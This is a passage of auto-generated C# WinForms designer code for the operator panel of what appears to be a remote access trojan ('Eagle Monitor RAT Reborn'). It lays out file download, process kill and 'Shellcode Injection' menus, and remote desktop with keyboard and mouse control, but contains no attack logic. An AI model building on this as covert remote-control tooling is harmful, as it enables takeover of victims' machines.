this.labelPath.Name = \"labelPath\";\n            this.labelPath.Size = new System.Drawing.Size(133, 13);\n            this.labelPath.TabIndex = 50;\n            this.labelPath.Text = \"(Note : Click on refresh !)\";\n            // \n            // disksGuna2ComboBox\n            // \n            this.disksGuna2ComboBox.Animated = true;\n            this.disksGuna2ComboBox.AutoRoundedCorners = true;\n            this.disksGuna2ComboBox.BackColor = System.Drawing.Color.White;\n            this.disksGuna2ComboBox.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            this.disksGuna2ComboBox.BorderRadius = 17;\n            this.disksGuna2ComboBox.DrawMode = System.Windows.Forms.DrawMode.OwnerDrawFixed;\n            this.disksGuna2ComboBox.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList;\n            this.disksGuna2ComboBox.FocusedColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255)))));\n            this.disksGuna2ComboBox.FocusedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255)))));\n            this.disksGuna2ComboBox.Font = new System.Drawing.Font(\"Segoe UI Semibold\", 8F);\n            this.disksGuna2ComboBox.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.disksGuna2ComboBox.ItemHeight = 30;\n            this.disksGuna2ComboBox.Location = new System.Drawing.Point(3, 5);\n            this.disksGuna2ComboBox.Name = \"disksGuna2ComboBox\";\n            this.disksGuna2ComboBox.Size = new System.Drawing.Size(146, 36);\n            this.disksGuna2ComboBox.TabIndex = 49;\n            this.disksGuna2ComboBox.TextAlign = System.Windows.Forms.HorizontalAlignment.Center;\n            this.disksGuna2ComboBox.SelectedIndexChanged += new System.EventHandler(this.disksGuna2ComboBox_SelectedIndexChanged);\n            // \n            // tabPage13\n            // \n            this.tabPage13.BackColor = System.Drawing.Color.White;\n            this.tabPage13.Controls.Add(this.dowloadFileDataGridView);\n            this.tabPage13.Controls.Add(this.guna2VScrollBar7);\n            this.tabPage13.Location = new System.Drawing.Point(4, 44);\n            this.tabPage13.Name = \"tabPage13\";\n            this.tabPage13.Size = new System.Drawing.Size(1079, 422);\n            this.tabPage13.TabIndex = 1;\n            this.tabPage13.Text = \"Download Manager\";\n            // \n            // dowloadFileDataGridView\n            // \n            this.dowloadFileDataGridView.AllowUserToAddRows = false;\n            this.dowloadFileDataGridView.AllowUserToDeleteRows = false;\n            this.dowloadFileDataGridView.AllowUserToResizeColumns = false;\n            this.dowloadFileDataGridView.AllowUserToResizeRows = false;\n            this.dowloadFileDataGridView.BackgroundColor = System.Drawing.Color.White;\n            this.dowloadFileDataGridView.BorderStyle = System.Windows.Forms.BorderStyle.None;\n            this.dowloadFileDataGridView.CellBorderStyle = System.Windows.Forms.DataGridViewCellBorderStyle.None;\n            this.dowloadFileDataGridView.ColumnHeadersBorderStyle = System.Windows.Forms.DataGridViewHeaderBorderStyle.None;\n            dataGridViewCellStyle22.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft;\n            dataGridViewCellStyle22.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            dataGridViewCellStyle22.Font = new System.Drawing.Font(\"Segoe UI Semibold\", 8F);\n            dataGridViewCellStyle22.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(115)))), ((int)(((byte)(115)))), ((int)(((byte)(115)))));\n            dataGridViewCellStyle22.SelectionBackColor = System.Drawing.SystemColors.Highlight;\n            dataGridViewCellStyle22.SelectionForeColor = System.Drawing.SystemColors.HighlightText;\n            dataGridViewCellStyle22.WrapMode = System.Windows.Forms.DataGridViewTriState.True;\n            this.dowloadFileDataGridView.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle22;\n            this.dowloadFileDataGridView.ColumnHeadersHeight = 36;\n            this.dowloadFileDataGridView.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] {\n            this.Column28,\n            this.Column29,\n            this.Column30,\n            this.Column10});\n            this.dowloadFileDataGridView.ContextMenuStrip = this.downloadContextMenuStrip;\n            this.dowloadFileDataGridView.Dock = System.Windows.Forms.DockStyle.Fill;\n            this.dowloadFileDataGridView.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically;\n            this.dowloadFileDataGridView.EnableHeadersVisualStyles = false;\n            this.dowloadFileDataGridView.GridColor = System.Drawing.Color.White;\n            this.dowloadFileDataGridView.Location = new System.Drawing.Point(0, 0);\n            this.dowloadFileDataGridView.Name = \"dowloadFileDataGridView\";\n            this.dowloadFileDataGridView.ReadOnly = true;\n            this.dowloadFileDataGridView.RowHeadersVisible = false;\n            dataGridViewCellStyle25.BackColor = System.Drawing.Color.White;\n            dataGridViewCellStyle25.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(150)))), ((int)(((byte)(150)))), ((int)(((byte)(150)))));\n            dataGridViewCellStyle25.SelectionBackColor = System.Drawing.Color.FromArgb(((int)(((byte)(230)))), ((int)(((byte)(230)))), ((int)(((byte)(230)))));\n            dataGridViewCellStyle25.SelectionForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(125)))), ((int)(((byte)(125)))), ((int)(((byte)(125)))));\n            this.dowloadFileDataGridView.RowsDefaultCellStyle = dataGridViewCellStyle25;\n            this.dowloadFileDataGridView.RowTemplate.Height = 26;\n            this.dowloadFileDataGridView.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect;\n            this.dowloadFileDataGridView.Size = new System.Drawing.Size(1061, 422);\n            this.dowloadFileDataGridView.TabIndex = 7;\n            this.dowloadFileDataGridView.TabStop = false;\n            this.dowloadFileDataGridView.MouseUp += new System.Windows.Forms.MouseEventHandler(this.dowloadFileDataGridView_MouseUp);\n            // \n            // Column28\n            // \n            this.Column28.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill;\n            dataGridViewCellStyle23.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(64)))), ((int)(((byte)(64)))), ((int)(((byte)(64)))));\n            this.Column28.DefaultCellStyle = dataGridViewCellStyle23;\n            this.Column28.FillWeight = 20F;\n            this.Column28.HeaderText = \"Name\";\n            this.Column28.Name = \"Column28\";\n            this.Column28.ReadOnly = true;\n            // \n            // Column29\n            // \n            this.Column29.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill;\n            dataGridViewCellStyle24.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(150)))), ((int)(((byte)(150)))), ((int)(((byte)(150)))));\n            this.Column29.DefaultCellStyle = dataGridViewCellStyle24;\n            this.Column29.FillWeight = 18F;\n            this.Column29.HeaderText = \"Bytes\";\n            this.Column29.Name = \"Column29\";\n            this.Column29.ReadOnly = true;\n            // \n            // Column30\n            // \n            this.Column30.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill;\n            this.Column30.FillWeight = 15F;\n            this.Column30.HeaderText = \"Progression\";\n            this.Column30.Name = \"Column30\";\n            this.Column30.ReadOnly = true;\n            // \n            // Column10\n            // \n            this.Column10.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill;\n            this.Column10.FillWeight = 25F;\n            this.Column10.HeaderText = \"Remote Path\";\n            this.Column10.Name = \"Column10\";\n            this.Column10.ReadOnly = true;\n            // \n            // downloadContextMenuStrip\n            // \n            this.downloadContextMenuStrip.ImageScalingSize = new System.Drawing.Size(28, 28);\n            this.downloadContextMenuStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {\n            this.pauseToolStripMenuItem,\n            this.startDowloadFileToolStripMenuItem});\n            this.downloadContextMenuStrip.Name = \"clientContextMenuStrip\";\n            this.downloadContextMenuStrip.Size = new System.Drawing.Size(118, 72);\n            // \n            // pauseToolStripMenuItem\n            // \n            this.pauseToolStripMenuItem.BackColor = System.Drawing.Color.White;\n            this.pauseToolStripMenuItem.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.pauseToolStripMenuItem.Image = global::Eagle_Monitor_RAT_Reborn.Properties.Resources.pause_32px;\n            this.pauseToolStripMenuItem.Name = \"pauseToolStripMenuItem\";\n            this.pauseToolStripMenuItem.Size = new System.Drawing.Size(117, 34);\n            this.pauseToolStripMenuItem.Text = \"Pause\";\n            this.pauseToolStripMenuItem.Visible = false;\n            // \n            // startDowloadFileToolStripMenuItem\n            // \n            this.startDowloadFileToolStripMenuItem.BackColor = System.Drawing.Color.White;\n            this.startDowloadFileToolStripMenuItem.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.startDowloadFileToolStripMenuItem.Image = global::Eagle_Monitor_RAT_Reborn.Properties.Resources.resume_button_32px;\n            this.startDowloadFileToolStripMenuItem.Name = \"startDowloadFileToolStripMenuItem\";\n            this.startDowloadFileToolStripMenuItem.Size = new System.Drawing.Size(117, 34);\n            this.startDowloadFileToolStripMenuItem.Text = \"Start\";\n            this.startDowloadFileToolStripMenuItem.Click += new System.EventHandler(this.startDownloadFileToolStripMenuItem_Click);\n            // \n            // guna2VScrollBar7\n            // \n            this.guna2VScrollBar7.Dock = System.Windows.Forms.DockStyle.Right;\n            this.guna2VScrollBar7.FillColor = System.Drawing.Color.White;\n            this.guna2VScrollBar7.InUpdate = false;\n            this.guna2VScrollBar7.LargeChange = 10;\n            this.guna2VScrollBar7.Location = new System.Drawing.Point(1061, 0);\n            this.guna2VScrollBar7.Name = \"guna2VScrollBar7\";\n            this.guna2VScrollBar7.ScrollbarSize = 18;\n            this.guna2VScrollBar7.Size = new System.Drawing.Size(18, 422);\n            this.guna2VScrollBar7.TabIndex = 16;\n            this.guna2VScrollBar7.ThumbColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            // \n            // tabPage5\n            // \n            this.tabPage5.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            this.tabPage5.Controls.Add(this.panel3);\n            this.tabPage5.Location = new System.Drawing.Point(4, 4);\n            this.tabPage5.Name = \"tabPage5\";\n            this.tabPage5.Size = new System.Drawing.Size(1091, 474);\n            this.tabPage5.TabIndex = 2;\n            this.tabPage5.Text = \"Process Manager\";\n            // \n            // panel3\n            // \n            this.panel3.BackColor = System.Drawing.Color.White;\n            this.panel3.Controls.Add(this.processDataGridView);\n            this.panel3.Controls.Add(this.guna2VScrollBar4);\n            this.panel3.Dock = System.Windows.Forms.DockStyle.Fill;\n            this.panel3.Location = new System.Drawing.Point(0, 0);\n            this.panel3.Name = \"panel3\";\n            this.panel3.Padding = new System.Windows.Forms.Padding(1);\n            this.panel3.Size = new System.Drawing.Size(1091, 474);\n            this.panel3.TabIndex = 17;\n            // \n            // processDataGridView\n            // \n            this.processDataGridView.AllowUserToAddRows = false;\n            this.processDataGridView.AllowUserToDeleteRows = false;\n            this.processDataGridView.AllowUserToResizeColumns = false;\n            this.processDataGridView.AllowUserToResizeRows = false;\n            this.processDataGridView.BackgroundColor = System.Drawing.Color.White;\n            this.processDataGridView.BorderStyle = System.Windows.Forms.BorderStyle.None;\n            this.processDataGridView.CellBorderStyle = System.Windows.Forms.DataGridViewCellBorderStyle.None;\n            this.processDataGridView.ColumnHeadersBorderStyle = System.Windows.Forms.DataGridViewHeaderBorderStyle.None;\n            dataGridViewCellStyle26.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft;\n            dataGridViewCellStyle26.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            dataGridViewCellStyle26.Font = new System.Drawing.Font(\"Segoe UI Semibold\", 8F);\n            dataGridViewCellStyle26.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(115)))), ((int)(((byte)(115)))), ((int)(((byte)(115)))));\n            dataGridViewCellStyle26.SelectionBackColor = System.Drawing.SystemColors.Highlight;\n            dataGridViewCellStyle26.SelectionForeColor = System.Drawing.SystemColors.HighlightText;\n            dataGridViewCellStyle26.WrapMode = System.Windows.Forms.DataGridViewTriState.True;\n            this.processDataGridView.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle26;\n            this.processDataGridView.ColumnHeadersHeight = 36;\n            this.processDataGridView.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] {\n            this.Column15,\n            this.Column16,\n            this.Column17,\n            this.Column18,\n            this.Column19,\n            this.Column20});\n            this.processDataGridView.ContextMenuStrip = this.processContextMenuStrip;\n            this.processDataGridView.Dock = System.Windows.Forms.DockStyle.Fill;\n            this.processDataGridView.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically;\n            this.processDataGridView.EnableHeadersVisualStyles = false;\n            this.processDataGridView.GridColor = System.Drawing.Color.White;\n            this.processDataGridView.Location = new System.Drawing.Point(1, 1);\n            this.processDataGridView.Name = \"processDataGridView\";\n            this.processDataGridView.ReadOnly = true;\n            this.processDataGridView.RowHeadersVisible = false;\n            dataGridViewCellStyle30.BackColor = System.Drawing.Color.White;\n            dataGridViewCellStyle30.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(150)))), ((int)(((byte)(150)))), ((int)(((byte)(150)))));\n            dataGridViewCellStyle30.SelectionBackColor = System.Drawing.Color.FromArgb(((int)(((byte)(230)))), ((int)(((byte)(230)))), ((int)(((byte)(230)))));\n            dataGridViewCellStyle30.SelectionForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(125)))), ((int)(((byte)(125)))), ((int)(((byte)(125)))));\n            this.processDataGridView.RowsDefaultCellStyle = dataGridViewCellStyle30;\n            this.processDataGridView.RowTemplate.Height = 26;\n            this.processDataGridView.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect;\n            this.processDataGridView.Size = new System.Drawing.Size(1071, 472);\n            this.processDataGridView.TabIndex = 7;\n            this.processDataGridView.TabStop = false;\n            // \n            // Column15\n            // \n            this.Column15.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill;\n            dataGridViewCellStyle27.BackColor = System.Drawing.Color.White;\n            dataGridViewCellStyle27.ForeColor = System.Drawing.Color.White;\n            dataGridViewCellStyle27.NullValue = null;\n            dataGridViewCellStyle27.Padding = new System.Windows.Forms.Padding(15, 2, 2, 2);\n            this.Column15.DefaultCellStyle = dataGridViewCellStyle27;\n            this.Column15.FillWeight = 12F;\n            this.Column15.HeaderText = \"\";\n            this.Column15.Name = \"Column15\";\n            this.Column15.ReadOnly = true;\n            this.Column15.Resizable = System.Windows.Forms.DataGridViewTriState.False;\n            // \n            // Column16\n            // \n            this.Column16.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill;\n            dataGridViewCellStyle28.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(64)))), ((int)(((byte)(64)))), ((int)(((byte)(64)))));\n            this.Column16.DefaultCellStyle = dataGridViewCellStyle28;\n            this.Column16.FillWeight = 10F;\n            this.Column16.HeaderText = \"Id\";\n            this.Column16.Name = \"Column16\";\n            this.Column16.ReadOnly = true;\n            // \n            // Column17\n            // \n            this.Column17.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill;\n            dataGridViewCellStyle29.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(150)))), ((int)(((byte)(150)))), ((int)(((byte)(150)))));\n            this.Column17.DefaultCellStyle = dataGridViewCellStyle29;\n            this.Column17.FillWeight = 22F;\n            this.Column17.HeaderText = \"Name\";\n            this.Column17.Name = \"Column17\";\n            this.Column17.ReadOnly = true;\n            // \n            // Column18\n            // \n            this.Column18.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill;\n            this.Column18.FillWeight = 22F;\n            this.Column18.HeaderText = \"Window Title\";\n            this.Column18.Name = \"Column18\";\n            this.Column18.ReadOnly = true;\n            // \n            // Column19\n            // \n            this.Column19.HeaderText = \"Window Handle\";\n            this.Column19.Name = \"Column19\";\n            this.Column19.ReadOnly = true;\n            // \n            // Column20\n            // \n            this.Column20.HeaderText = \"Is64Bit\";\n            this.Column20.Name = \"Column20\";\n            this.Column20.ReadOnly = true;\n            // \n            // processContextMenuStrip\n            // \n            this.processContextMenuStrip.ImageScalingSize = new System.Drawing.Size(28, 28);\n            this.processContextMenuStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {\n            this.refreshProcessToolStripMenuItem,\n            this.killToolStripMenuItem,\n            this.suspendToolStripMenuItem,\n            this.resumeToolStripMenuItem,\n            this.shellcodeInjectionToolStripMenuItem});\n            this.processContextMenuStrip.Name = \"clientContextMenuStrip\";\n            this.processContextMenuStrip.Size = new System.Drawing.Size(187, 174);\n            // \n            // refreshProcessToolStripMenuItem\n            // \n            this.refreshProcessToolStripMenuItem.BackColor = System.Drawing.Color.White;\n            this.refreshProcessToolStripMenuItem.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.refreshProcessToolStripMenuItem.Image = global::Eagle_Monitor_RAT_Reborn.Properties.Resources.replay_32px;\n            this.refreshProcessToolStripMenuItem.Name = \"refreshProcessToolStripMenuItem\";\n            this.refreshProcessToolStripMenuItem.Size = new System.Drawing.Size(186, 34);\n            this.refreshProcessToolStripMenuItem.Text = \"Refresh\";\n            this.refreshProcessToolStripMenuItem.Click += new System.EventHandler(this.refreshProcessToolStripMenuItem_Click);\n            // \n            // killToolStripMenuItem\n            // \n            this.killToolStripMenuItem.BackColor = System.Drawing.Color.White;\n            this.killToolStripMenuItem.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.killToolStripMenuItem.Image = global::Eagle_Monitor_RAT_Reborn.Properties.Resources.end_32px;\n            this.killToolStripMenuItem.Name = \"killToolStripMenuItem\";\n            this.killToolStripMenuItem.Size = new System.Drawing.Size(186, 34);\n            this.killToolStripMenuItem.Text = \"Kill\";\n            this.killToolStripMenuItem.Click += new System.EventHandler(this.killToolStripMenuItem_Click);\n            // \n            // suspendToolStripMenuItem\n            // \n            this.suspendToolStripMenuItem.BackColor = System.Drawing.Color.White;\n            this.suspendToolStripMenuItem.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.suspendToolStripMenuItem.Image = global::Eagle_Monitor_RAT_Reborn.Properties.Resources.pause_32px;\n            this.suspendToolStripMenuItem.Name = \"suspendToolStripMenuItem\";\n            this.suspendToolStripMenuItem.Size = new System.Drawing.Size(186, 34);\n            this.suspendToolStripMenuItem.Text = \"Suspend\";\n            this.suspendToolStripMenuItem.Click += new System.EventHandler(this.suspendToolStripMenuItem_Click);\n            // \n            // resumeToolStripMenuItem\n            // \n            this.resumeToolStripMenuItem.BackColor = System.Drawing.Color.White;\n            this.resumeToolStripMenuItem.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.resumeToolStripMenuItem.Image = global::Eagle_Monitor_RAT_Reborn.Properties.Resources.resume_button_32px;\n            this.resumeToolStripMenuItem.Name = \"resumeToolStripMenuItem\";\n            this.resumeToolStripMenuItem.Size = new System.Drawing.Size(186, 34);\n            this.resumeToolStripMenuItem.Text = \"Resume\";\n            this.resumeToolStripMenuItem.Click += new System.EventHandler(this.resumeToolStripMenuItem_Click);\n            // \n            // shellcodeInjectionToolStripMenuItem\n            // \n            this.shellcodeInjectionToolStripMenuItem.BackColor = System.Drawing.Color.White;\n            this.shellcodeInjectionToolStripMenuItem.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.shellcodeInjectionToolStripMenuItem.Image = global::Eagle_Monitor_RAT_Reborn.Properties.Resources.Binary_Code_32px;\n            this.shellcodeInjectionToolStripMenuItem.Name = \"shellcodeInjectionToolStripMenuItem\";\n            this.shellcodeInjectionToolStripMenuItem.Size = new System.Drawing.Size(186, 34);\n            this.shellcodeInjectionToolStripMenuItem.Text = \"Shellcode Injection\";\n            this.shellcodeInjectionToolStripMenuItem.Click += new System.EventHandler(this.shellcodeInjectionToolStripMenuItem_Click);\n            // \n            // guna2VScrollBar4\n            // \n            this.guna2VScrollBar4.Dock = System.Windows.Forms.DockStyle.Right;\n            this.guna2VScrollBar4.FillColor = System.Drawing.Color.White;\n            this.guna2VScrollBar4.InUpdate = false;\n            this.guna2VScrollBar4.LargeChange = 10;\n            this.guna2VScrollBar4.Location = new System.Drawing.Point(1072, 1);\n            this.guna2VScrollBar4.Name = \"guna2VScrollBar4\";\n            this.guna2VScrollBar4.ScrollbarSize = 18;\n            this.guna2VScrollBar4.Size = new System.Drawing.Size(18, 472);\n            this.guna2VScrollBar4.TabIndex = 16;\n            this.guna2VScrollBar4.ThumbColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            // \n            // tabPage8\n            // \n            this.tabPage8.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            this.tabPage8.Controls.Add(this.remoteGuna2TabControl);\n            this.tabPage8.Location = new System.Drawing.Point(4, 4);\n            this.tabPage8.Name = \"tabPage8\";\n            this.tabPage8.Size = new System.Drawing.Size(1091, 474);\n            this.tabPage8.TabIndex = 3;\n            this.tabPage8.Text = \"Remote Control\";\n            // \n            // remoteGuna2TabControl\n            // \n            this.remoteGuna2TabControl.Controls.Add(this.tabPage10);\n            this.remoteGuna2TabControl.Controls.Add(this.tabPage11);\n            this.remoteGuna2TabControl.Controls.Add(this.tabPage12);\n            this.remoteGuna2TabControl.Dock = System.Windows.Forms.DockStyle.Fill;\n            this.remoteGuna2TabControl.ItemSize = new System.Drawing.Size(180, 40);\n            this.remoteGuna2TabControl.Location = new System.Drawing.Point(0, 0);\n            this.remoteGuna2TabControl.Name = \"remoteGuna2TabControl\";\n            this.remoteGuna2TabControl.SelectedIndex = 0;\n            this.remoteGuna2TabControl.Size = new System.Drawing.Size(1091, 474);\n            this.remoteGuna2TabControl.TabButtonHoverState.BorderColor = System.Drawing.Color.Empty;\n            this.remoteGuna2TabControl.TabButtonHoverState.FillColor = System.Drawing.Color.Gainsboro;\n            this.remoteGuna2TabControl.TabButtonHoverState.Font = new System.Drawing.Font(\"Segoe UI Semibold\", 10F);\n            this.remoteGuna2TabControl.TabButtonHoverState.ForeColor = System.Drawing.Color.White;\n            this.remoteGuna2TabControl.TabButtonHoverState.InnerColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            this.remoteGuna2TabControl.TabButtonIdleState.BorderColor = System.Drawing.Color.Empty;\n            this.remoteGuna2TabControl.TabButtonIdleState.FillColor = System.Drawing.Color.White;\n            this.remoteGuna2TabControl.TabButtonIdleState.Font = new System.Drawing.Font(\"Segoe UI Semibold\", 10F);\n            this.remoteGuna2TabControl.TabButtonIdleState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(156)))), ((int)(((byte)(160)))), ((int)(((byte)(167)))));\n            this.remoteGuna2TabControl.TabButtonIdleState.InnerColor = System.Drawing.Color.FromArgb(((int)(((byte)(235)))), ((int)(((byte)(235)))), ((int)(((byte)(235)))));\n            this.remoteGuna2TabControl.TabButtonSelectedState.BorderColor = System.Drawing.Color.Empty;\n            this.remoteGuna2TabControl.TabButtonSelectedState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            this.remoteGuna2TabControl.TabButtonSelectedState.Font = new System.Drawing.Font(\"Segoe UI Semibold\", 10F);\n            this.remoteGuna2TabControl.TabButtonSelectedState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(115)))), ((int)(((byte)(115)))), ((int)(((byte)(115)))));\n            this.remoteGuna2TabControl.TabButtonSelectedState.InnerColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            this.remoteGuna2TabControl.TabButtonSize = new System.Drawing.Size(180, 40);\n            this.remoteGuna2TabControl.TabIndex = 67;\n            this.remoteGuna2TabControl.TabMenuBackColor = System.Drawing.Color.White;\n            this.remoteGuna2TabControl.TabMenuOrientation = Guna.UI2.WinForms.TabMenuOrientation.HorizontalTop;\n            // \n            // tabPage10\n            // \n            this.tabPage10.BackColor = System.Drawing.Color.White;\n            this.tabPage10.Controls.Add(this.remoteDesktopPictureBox);\n            this.tabPage10.Controls.Add(this.panel4);\n            this.tabPage10.Location = new System.Drawing.Point(4, 44);\n            this.tabPage10.Name = \"tabPage10\";\n            this.tabPage10.Size = new System.Drawing.Size(1083, 426);\n            this.tabPage10.TabIndex = 1;\n            this.tabPage10.Text = \"Remote Desktop\";\n            // \n            // remoteDesktopPictureBox\n            // \n            this.remoteDesktopPictureBox.BackColor = System.Drawing.Color.White;\n            this.remoteDesktopPictureBox.ContextMenuStrip = this.remoteDesktopContextMenuStrip;\n            this.remoteDesktopPictureBox.Dock = System.Windows.Forms.DockStyle.Fill;\n            this.remoteDesktopPictureBox.Location = new System.Drawing.Point(0, 47);\n            this.remoteDesktopPictureBox.Name = \"remoteDesktopPictureBox\";\n            this.remoteDesktopPictureBox.Size = new System.Drawing.Size(1083, 379);\n            this.remoteDesktopPictureBox.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage;\n            this.remoteDesktopPictureBox.TabIndex = 66;\n            this.remoteDesktopPictureBox.TabStop = false;\n            this.remoteDesktopPictureBox.SizeChanged += new System.EventHandler(this.remoteDesktopPictureBox_SizeChanged);\n            this.remoteDesktopPictureBox.MouseDown += new System.Windows.Forms.MouseEventHandler(this.remoteDesktopPictureBox_MouseDown);\n            this.remoteDesktopPictureBox.MouseMove += new System.Windows.Forms.MouseEventHandler(this.remoteDesktopPictureBox_MouseMove);\n            this.remoteDesktopPictureBox.MouseUp += new System.Windows.Forms.MouseEventHandler(this.remoteDesktopPictureBox_MouseUp);\n            // \n            // remoteDesktopContextMenuStrip\n            // \n            this.remoteDesktopContextMenuStrip.ImageScalingSize = new System.Drawing.Size(28, 28);\n            this.remoteDesktopContextMenuStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {\n            this.saveRemoteDesktopToolStripMenuItem});\n            this.remoteDesktopContextMenuStrip.Name = \"clientContextMenuStrip\";\n            this.remoteDesktopContextMenuStrip.Size = new System.Drawing.Size(111, 38);\n            // \n            // saveRemoteDesktopToolStripMenuItem\n            // \n            this.saveRemoteDesktopToolStripMenuItem.BackColor = System.Drawing.Color.White;\n            this.saveRemoteDesktopToolStripMenuItem.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.saveRemoteDesktopToolStripMenuItem.Image = global::Eagle_Monitor_RAT_Reborn.Properties.Resources.save_32px;\n            this.saveRemoteDesktopToolStripMenuItem.Name = \"saveRemoteDesktopToolStripMenuItem\";\n            this.saveRemoteDesktopToolStripMenuItem.Size = new System.Drawing.Size(110, 34);\n            this.saveRemoteDesktopToolStripMenuItem.Text = \"Save\";\n            this.saveRemoteDesktopToolStripMenuItem.Click += new System.EventHandler(this.saveRemoteDesktopToolStripMenuItem_Click);\n            // \n            // panel4\n            // \n            this.panel4.BackColor = System.Drawing.Color.White;\n            this.panel4.Controls.Add(this.captureGuna2ToggleSwitch);\n            this.panel4.Controls.Add(this.mouseGuna2ToggleSwitch);\n            this.panel4.Controls.Add(this.panel5);\n            this.panel4.Controls.Add(this.qualityGuna2TrackBar);\n            this.panel4.Controls.Add(this.label1);\n            this.panel4.Controls.Add(this.keyboardGuna2ToggleSwitch);\n            this.panel4.Controls.Add(this.label4);\n            this.panel4.Controls.Add(this.label5);\n            this.panel4.Controls.Add(this.label6);\n            this.panel4.Dock = System.Windows.Forms.DockStyle.Top;\n            this.panel4.Location = new System.Drawing.Point(0, 0);\n            this.panel4.Name = \"panel4\";\n            this.panel4.Size = new System.Drawing.Size(1083, 47);\n            this.panel4.TabIndex = 65;\n            // \n            // captureGuna2ToggleSwitch\n            // \n            this.captureGuna2ToggleSwitch.Animated = true;\n            this.captureGuna2ToggleSwitch.CheckedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            this.captureGuna2ToggleSwitch.CheckedState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            this.captureGuna2ToggleSwitch.CheckedState.InnerBorderColor = System.Drawing.Color.White;\n            this.captureGuna2ToggleSwitch.CheckedState.InnerColor = System.Drawing.Color.White;\n            this.captureGuna2ToggleSwitch.Location = new System.Drawing.Point(56, 11);\n            this.captureGuna2ToggleSwitch.Name = \"captureGuna2ToggleSwitch\";\n            this.captureGuna2ToggleSwitch.Size = new System.Drawing.Size(35, 20);\n            this.captureGuna2ToggleSwitch.TabIndex = 57;\n            this.captureGuna2ToggleSwitch.UncheckedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(190)))), ((int)(((byte)(190)))), ((int)(((byte)(190)))));\n            